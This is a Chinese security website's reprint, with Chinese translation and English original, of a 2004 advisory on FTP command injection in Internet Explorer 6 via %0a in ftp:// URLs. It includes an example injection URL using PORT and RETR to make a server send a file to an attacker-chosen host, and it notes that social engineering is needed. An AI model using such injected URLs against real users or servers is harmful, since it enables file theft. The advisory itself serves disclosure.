通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 新闻类 >> 最新公告 >> 漏洞公告 >> 文章正文
Internet Explorer FTP 命令注射
责任编辑:stef   更新日期:2005-7-6
 
翻译:匙 www.hackbase.com

2004年12月13日

标题: Internet Explorer FTP 命令渗透
作者: Albert Puigsech Galicia - <ripe@7a69ezine.org>
软件: Microsoft Internet Explorer
版本: 大于等于 6.0.2800.1106
远程: 可以
利用: 可以
损害程度: 低-中

- ------------------------------------------------------------------

1  介绍
Internet Explorer 是很有名的一个浏览器,像许多其它的浏览器一样,可以支持多协议,比如FTP文件传输协议。
关于此浏览器的安全历史纪录很低调,我们很高兴看到微软的出色工作,关于未来的安全工作值得我们放心。

2  描述
通过Internet Explorer访问FTP服务器,是在地址栏写下"ftp://ftpuser:ftppass@server/directory",然后浏览器就自动的执行了以下的命令(其它的命令过程不是很重要,所以省略):
USER ftpuser
PASS ftppass
CWD /directory/
由此引发的安全问题是在地址栏内容后面添加 %0a 这个代码,然后跟上你的FTP渗入命令。
如果你这么做"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a"将会执行后面的代码。
USER ftpuser
PASS ftppass
CWD /directory/
somecommand
最后一行是错误的命令,但不成问题,因为"somecommand"已经被执行了。

3  利用
你可以用有效的用户名和密码去欺骗一个用户连接到你URL。呵呵!这个利用需要应用社会工程学。
这样你可以利用这个BUG做很多事情,比如建立和删除文件或者目录,但通常呢,最感兴趣的事情就是下载文件。
类似用下面的URL:
ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

这样,服务端就可以连接到a,b,c,d机器上,使用的端口是e,f(关于这些端口参数请参阅FTP RFC文档),并且开始发送文件数据

----------------------------------------------------------

附英文原文:

itle:        Internet Explorer FTP command injection

Author:       Albert Puigsech Galicia - <ripe@7a69ezine.org>

Software:     Microsoft Internet Explorer

Versions:     >= 6.0.2800.1106

Remote:       yes

Exploit:      yes

Severity:     Low-Medium

- ------------------------------------------------------------------



I. Introduction.

Internet Explorer is a well-known HTTP browser, and like others it can use
more protocols, for example FTP. The security historial of this navigator is
really cool and we are glad for the excelent work done by Microsoft. We love
your (in)security features.


II. Description.

In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then
the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).

   USER ftpuser
   PASS ftppass
   CWD /directory/

The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.

   USER ftpuser
   PASS ftppass
   CWD /directory
   somecommand

The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.


III. Exploit

You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;

    _blank>ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.


IV. Patch

Internet Explorer sucks a lot, just turn to Firefox World.


V. Timeline

01/12/2004  -  Bug discovered on konqueror browser
03/12/2004  -  Tried in IE. Also afected!
05/12/2004  -  Advisor released



VI. Extra data

You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月10日发布 每日计算机病毒及木马播报
    普通文章 mobi域名卖出61万美元天价 专家提醒切忌跟风
    普通文章 腾讯推出数字证书服务 网购支付添新"保镖
    普通文章 波音787控制系统发现安全问题
    普通文章 微软08年1月安全公告仅两个内容
    普通文章 杀毒厂商转攻移动安全市场
    普通文章 CP Secure使灰名单将垃圾邮件挥之而去
    普通文章 破坏应用程序 U盘成病毒藏身地
    普通文章 保护您的数据 六招实战EFS加密文件系统
    热门文章
    普通文章元旦期间要谨防病毒邮件和网络“钓鱼”
    普通文章QQ大盗病毒活动猖獗 秘密窃取用户密码
    普通文章“盗号木马”数量激增 木马病毒闹新年
    普通文章2008年1月第1周计算机病毒预报
    普通文章苹果Quicktime再现七个严重安全漏洞
    普通文章卡巴斯基:Vista防火墙如漏筛 不够安全
    普通文章Total Player M3U播放列表解析栈溢出漏洞
    普通文章挖掘操作系统内部未导出函数,将注入进行到底
    普通文章新手注意 防止QQ密码被破解的技巧
    普通文章重启远程终端3389服务的三个方法
    精彩专题